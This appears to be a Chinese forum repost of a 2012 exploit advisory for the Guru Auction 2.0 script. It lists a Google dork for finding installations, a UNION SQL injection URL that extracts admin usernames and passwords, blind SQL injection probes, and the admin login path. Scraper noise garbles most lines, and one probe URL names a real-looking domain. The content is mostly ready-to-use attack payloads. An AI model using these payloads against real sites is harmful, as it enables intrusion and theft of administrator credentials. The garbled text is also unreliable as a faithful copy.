Guru Auction 2.0 Multiple SQL Injection Vulnerabilities& ?3 q" O& n5 g, S0 @
& E" R* A* i# I9 Q( u作者 : v3n0m
) H9 B b; {0 |; i; V: I应用 : Guru Auction 2.04 ^/ J# \. k2 f. c7 v3 w0 o
Price : $49
/ l, P1 M( u; }1 j; bVendor : http://www.guruscript.com/
+ O; m+ G: i0 p# k2 J, ZGoogle Dork : inurl:subcat.php?cate_id=
& B5 R# N3 B4 S- U2 C3 p 1 s& ^* E4 ~/ g0 w/ W
SQLi p0c:
9 h3 \" O; A# O% f~~~~~~~~~~! U @. r% G- R
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
& _, t" P$ {% T
$ E. R* @& [- b) L2 r & T( T1 g3 m! A. Q
盲注 p0c:, r8 _$ d) l7 o- `0 M/ a( P; X
~~~~~~~~~~: m- P) E/ _9 ]+ r
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true7 [! X4 k% ^- Y( e. i* V3 k, j( `- z8 v
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
- J k8 T |, ~, Q [; y
3 y/ R/ ]! O, o4 H+ K管理登录入口:$ |- X5 ]3 E: U4 K; r
~~~~~~~~~~
: B3 o9 `: {% g- P) nhttp://domain.tld/[path]/admin/
9 @# N! p) f9 C- P3 w% ` |
发表于 2012-12-31 09:24:05
收藏
支持
反对